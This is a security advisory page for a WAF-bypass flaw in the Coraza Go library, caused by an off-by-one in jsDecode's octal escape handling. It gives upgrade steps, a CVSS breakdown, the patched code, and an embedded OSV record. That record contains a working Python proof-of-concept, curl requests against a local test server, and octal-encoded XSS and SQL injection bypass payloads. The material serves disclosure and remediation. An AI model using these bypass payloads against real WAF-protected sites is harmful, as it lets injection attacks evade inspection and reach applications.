CVE-2026-104774: Coraza JsDecode Off-by-One Vulnerability
MODERATECVE-2026-104774 is a MODERATE (CVSS 5.8) jsdecode off-by-one vulnerability (CWE-693: Protection Mechanism Failure) affecting Coraza libraries in the Go ecosystem. The issue involves jsdecode off-by-one in octal escape handling enables waf bypass. Remediation is available by upgrading affected packages to version 3.8.0.
CVE-2026-104774 at a Glance
Security Impact
CVSS: 5.8
The security impact metrics below are parsed directly from the CVSS v3.1 vector string (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:N/I:L/A:N).
How to Fix CVE-2026-104774
To remediate this vulnerability, upgrade all affected Coraza dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.
Upgrade github.com/corazawaf/coraza/v3 to 3.8.0
Run the following command in your project directory to verify that all resolved dependencies use the patched release:
inspect dependencies for github.com/corazawaf/coraza/v3
How to Check if You Are Affected
To determine whether your application is affected by CVE-2026-104774, inspect your project dependencies for Coraza:
inspect dependencies for github.com/corazawaf/coraza/v3
Analyze the terminal output to locate any version of Coraza in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than 3.8.0), your application is affected.
Note: Verify declared build manifests and deployed runtime container environments.
Technical Details
Vulnerability Mechanism & Technical Analysis
This vulnerability is classified under CWE-693: Protection Mechanism Failure, where the product does not use or incorrectly uses a protection mechanism that provides sufficient defense against directed attacks against the product. In Coraza, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.
Source Advisory Statement
CVE-2026-104774 Affected Coraza Versions
1 component(s)| Product / Package | Ecosystem | Affected Versions | Fixed Version |
|---|---|---|---|
|
github.com/corazawaf/coraza/v3
|
Go |
≥ 3.0.0
< 3.8.0
|
3.8.0
|
References
Frequently Asked Questions
What is CVE-2026-104774?
Which Coraza versions are affected?
What version fixes CVE-2026-104774?
Is github.com/corazawaf/coraza/v3 affected?
What is the CVSS score of CVE-2026-104774?
What CWE is associated with CVE-2026-104774?
How can I check Go dependencies for CVE-2026-104774?
Machine-readable OSV JSON
OSV v1.5 Schema
{
"schema_version" : "1.4.0",
"id" : "GHSA-pc5q-qfxp-ggqv",
"modified" : "2026-10-08T17:45:53Z",
"published" : "2026-10-08T17:45:53Z",
"aliases" : [ "CVE-2026-104774" ],
"summary" : "Coraza: jsDecode Off-by-One in Octal Escape Handling Enables WAF Bypass",
"details" : "### Summary\nThe `t:jsDecode` transformation in Coraza WAF contains an off-by-one error when parsing octal escape sequences. A backslash character was incorrectly included in the octal number buffer, causing `strconv.ParseInt` to fail for every octal escape sequence and return a null byte instead of the decoded value that would normally be returned. This will cause all JS-escaped payloads to be corrupted, thus leading to the bypassing of these WAF rules when WAF rules that rely on `jsDecode` for normalization are enabled.\n\nTherefore, a real-world attack scenario: an attacker could use JavaScript octal escape sequences (`\\ooo`) to encode attack syntax. Although the WAF cannot decode these sequences correctly, the target backend (such as a browser or application) can parse them as expected.\n\n### Details\nVulnerable code: `internal/transformations/js_decode.go:64-70.`\n```go\ncase (i+1 < inputLen) && isodigit(input[i+1]):\n /* \\OOO (only one byte, \\000 - \\377) */\n buf := make([]byte, 3)\n j := 0\n\n for (i+1+j < inputLen) && (j < 3) {\n buf[j] = input[i+j] // this should be `input[i+1+j]`\n j++\n if !isodigit(input[i+j]) {\n break\n }\n }\n```\nThis is because, when entering octal mode, the loop variable `i` points to the backslash character `\\`. Before entering octal mode, the pointer **does not** cross the backslash (unlike in the `\\u` and `\\x` cases, where `i+N` is used as the index). Line 65 uses `input[i+j]`, so when `j=0`, the backslash character itself is copied to `buf[0]`. The subsequent call to `strconv.ParseInt(string(buf), 8, 8)` will fail because `\\` is not a valid octal digit; it therefore returns `0` and raises an error (which is silently suppressed by `_`), resulting in the loss of the bytes that were supposed to be decoded.\n\nFor example, Input `\\163`. The loop starts with `j=0`: `buf[0] = input[i+0] = ‘\\’ ` (the backslash itself). The counter `j` is incremented to 1. Since `isodigit(input[i+1]) = isodigit(‘1’)` is true, the loop continues. When `j=1`: `buf[1] = input[i+1] = ‘1’`. The counter increments to 2; `isodigit(input[i+2]) = isodigit(‘6’)` is true. At this point, `j = 2`: `buf[2] = input[i+2] = ‘6’`. The counter increments to 3, at which point the loop condition `j < 3` is no longer satisfied. Final buffer: `buf = [‘\\’, ‘1’, ‘6’]`. The buffer is truncated when `j = 2` (because `buf[0] = ‘\\’ > ‘3’`), leaving `[‘\\’, ‘1’]`.\n\nThis error affects all octal escape sequences (from `\\000` to `\\377`). Each sequence is decoded and displayed as `0x00` instead of the expected value. For example: `\\377` is normally decoded as `\\xff` or 255\n\n```go\n// Bug: buf = ['\\', '3', '7'] to string(buf) = \"\\\\37\"\nnn, _ = strconv.ParseInt(\"\\\\37\", 8, 8) // nn = 0\n// Correct: buf = ['3', '7', '7'] = \"377\"\nnn, _ = strconv.ParseInt(\"377\", 8, 8) // nn = 255 = 0xFF\n```\n\n### PoC\n#### Test Environment\nCoraza WAF v3.7.0 is configured to `127.0.0.1:8090`, `SecRuleEngine` is set to `On`, `SecRequestBodyAccess` is set to `On`, and the complete OWASP CRS rule set has been loaded.\n\n#### PoC Executable Script\n```python\n#!/usr/bin/env python3\nimport urllib.request, sys\n\nTARGET = sys.argv[1] if len(sys.argv) > 1 else \"http://127.0.0.1:8090\"\n\nnormal_url = f\"{TARGET}/?q=%3Cscript%3E\"\noctal_url = f\"{TARGET}/?q=%3C%5C163%5C143%5C162%5C151%5C160%5C164%3E\"\n\nprint(f\"[Normal XSS: {normal_url}\")\ntry:\n urllib.request.urlopen(normal_url)\n print(\" Response: 200 \")\nexcept urllib.error.HTTPError as e:\n print(f\" Response: {e.code}\")\n\nprint(f\"\\nBypass JS octal-escaped XSS: {octal_url}\")\ntry:\n urllib.request.urlopen(octal_url)\n print(\" Response: 200 (BYPASS)\")\nexcept urllib.error.HTTPError as e:\n print(f\" Response: {e.code}\")\n```\noutput:\n```\n Normal XSS: http://127.0.0.1:8090/?q=%3Cscript%3E\n Response: 403\n Bypass JS octal-escaped XSS: http://127.0.0.1:8090/?q=%3C%5C163%5C143%5C162%5C151%5C160%5C164%3E\n Response: 200 (BYPASS)\n```\n\n#### Proof\n- Normal Test\n```bash\n curl -v -s \"http://127.0.0.1:8090/?q=%3Cscript%3E\"\n< HTTP/1.1 403 Forbidden\n< Date: Wed, 01 Jul 2026 16:09:04 GMT\n```\n- Bypass Test\n```\n curl -v -s \"http://127.0.0.1:8090/?q=%3C%5C163%5C143%5C162%5C151%5C160%5C164%3E\"\n< HTTP/1.1 200 OK\n< Date: Wed, 01 Jul 2026 16:09:04 GMT\n< Content-Length: 39\n< Hello world, transaction not disrupted.\n```\n- Log Proof\n```\n2026/07/01 16:09:04 [DEBUG] Transaction finished tx_id=\"<txid>\" is_interrupted=false\n```\n\n### Impact\nAttackers can bypass WAFs that rely on the `t:jsDecode` transformation rule, leading to cross-site scripting (XSS), SQL injection, or other malicious activities.\n#### Real-world attack scenarios:\n**SQL injection bypass.** A rule using `t:jsDecode` received `\\47\\117\\122\\40\\61\\75\\61` (i.e., `' OR 1=1`). This octal string decodes to `\\0...`, so the rule did not match the SQL injection pattern.\n\n### Affected Versions\nCoraza WAF v3.0.0 - v3.7.0\n\n### Resolution\nFixed in `internal/transformations/js_decode.go`'s `\\OOO` octal branch, plus two related issues found and fixed while verifying the patch — the actual shipped fix is broader than the single-line change originally proposed:\n\n1. **The reported off-by-one** (`buf[j] = input[i+j]` → `buf[j] = input[i+1+j]`, with the digit-continuation check updated to `input[i+1+j]` accordingly): confirmed and fixed exactly as described above.\n2. **A related high-byte clamping bug in the same branch**: the decoded value was parsed with `strconv.ParseInt(string(buf), 8, 8)` — a *signed* 8-bit parse. Octal values `\\200`-`\\377` (decimal 128-255) exceed the signed int8 range, so even after fixing the indexing bug, those high bytes would still fail to parse and clamp to `0x7f` instead of their real value. Fixed by parsing as unsigned (`strconv.ParseUint(string(buf), 8, 8)`), so the full `\\000`-`\\377` range decodes correctly.\n3. **A related overflow-saturation bug in the sibling `escapeSeqDecode` transformation** (`internal/transformations/escape_seq_decode.go`), discovered while auditing the same octal-parsing pattern elsewhere in the codebase. Unlike `jsDecode`, `escapeSeqDecode`'s indexing was already correct, but it parsed octal values with `strconv.ParseUint(input[i+1:i+j], 8, 8)` — an 8-bit-wide unsigned parse. Since up to 3 octal digits are consumed (`\\0`-`\\777`, i.e. up to decimal 511), any value above `\\377` (255) overflows 8 bits, causing `strconv.ParseUint` to return an error and a saturated value of `0xFF` for every one of those escapes, rather than correctly wrapping to its low byte (mirroring ModSecurity's `strtol(...) & 0xFF` reference behavior). Fixed by widening the parse to 16 bits (`strconv.ParseUint(input[i+1:i+j], 8, 16)`) before truncating to a byte, so `\\400`-`\\777` now wrap to their correct low-byte value instead of all saturating to `0xFF`.\n\nVerified end-to-end: both PoC payloads from this report now decode correctly —\n`<\\163\\143\\162\\151\\160\\164>` → `<script>`, and `\\47\\117\\122\\40\\61\\75\\61` → `'OR 1=1` — so a downstream WAF rule inspecting the transformed value now sees the real, intended content instead of null bytes or clamped/saturated garbage.\n\nExtensive regression tests were added covering the full octal range (including the `\\200`-`\\377` high-byte range and the `\\400`-`\\777` overflow range for `escapeSeqDecode`), the pre-existing digit-count/truncation edge cases, and both PoC payloads verbatim.\n\n### Mitigation\nUpgrade to the patched release once available. If upgrading isn't immediately possible, the specific code change is:\n\n```go\nfor (i+1+j < inputLen) && (j < 3) {\n buf[j] = input[i+1+j]\n j++\n if i+1+j >= inputLen || !isodigit(input[i+1+j]) {\n break\n }\n}\n...\nnn, _ := strconv.ParseUint(string(buf), 8, 8)\n```\n\n### Severity (revised 2026-10-02)\n\n`CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:N/I:L/A:N` (5.8, Medium).\n\nAttack Complexity is Low: JavaScript engines decode legacy octal escapes in non-strict string literals (ECMAScript Annex B), the standard behaviour `jsDecode` emulates, so the request alone triggers the discrepancy. The previous vector (`S:U/C:L/I:L`, 6.5) scored Confidentiality and Integrity separately for what is a single inspection bypass.\n\nImpact metrics follow the convention used across Coraza's WAF-bypass advisories: the vulnerable component is Coraza, but the impact lands on the protected application, so Scope is Changed. The bypass hides a payload from inspection; the application still has to be vulnerable to it, so Integrity is Low and Confidentiality is not scored separately.\n\n_AI involvement in this section: Claude Opus 5.5 (Anthropic), via Claude Code, re-derived the CVSS vector from the project's triage guidance (AGENTS.md, \"CVSS preconditions get verified, not copied from the report\") and drafted this text. A human maintainer (fzipi) chose the `S:C/I:L` impact convention and directed this update._",
"severity" : [ {
"type" : "CVSS_V3",
"score" : "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:N/I:L/A:N"
} ],
"affected" : [ {
"package" : {
"ecosystem" : "Go",
"name" : "github.com/corazawaf/coraza/v3"
},
"ranges" : [ {
"type" : "ECOSYSTEM",
"events" : [ {
"introduced" : "3.0.0"
}, {
"fixed" : "3.8.0"
} ]
} ]
} ],
"references" : [ {
"type" : "WEB",
"url" : "https://github.com/corazawaf/coraza/security/advisories/GHSA-pc5q-qfxp-ggqv"
}, {
"type" : "WEB",
"url" : "https://github.com/corazawaf/coraza/commit/f9b7afdbcedce7ad814663eaee2e342578ea3bb2"
}, {
"type" : "PACKAGE",
"url" : "https://github.com/corazawaf/coraza"
}, {
"type" : "WEB",
"url" : "https://github.com/corazawaf/coraza/releases/tag/v3.8.0"
} ],
"database_specific" : {
"cwe_ids" : [ "CWE-172", "CWE-193", "CWE-693" ],
"severity" : "MODERATE",
"github_reviewed" : true,
"github_reviewed_at" : "2026-10-08T17:45:53Z",
"nvd_published_at" : null
}
}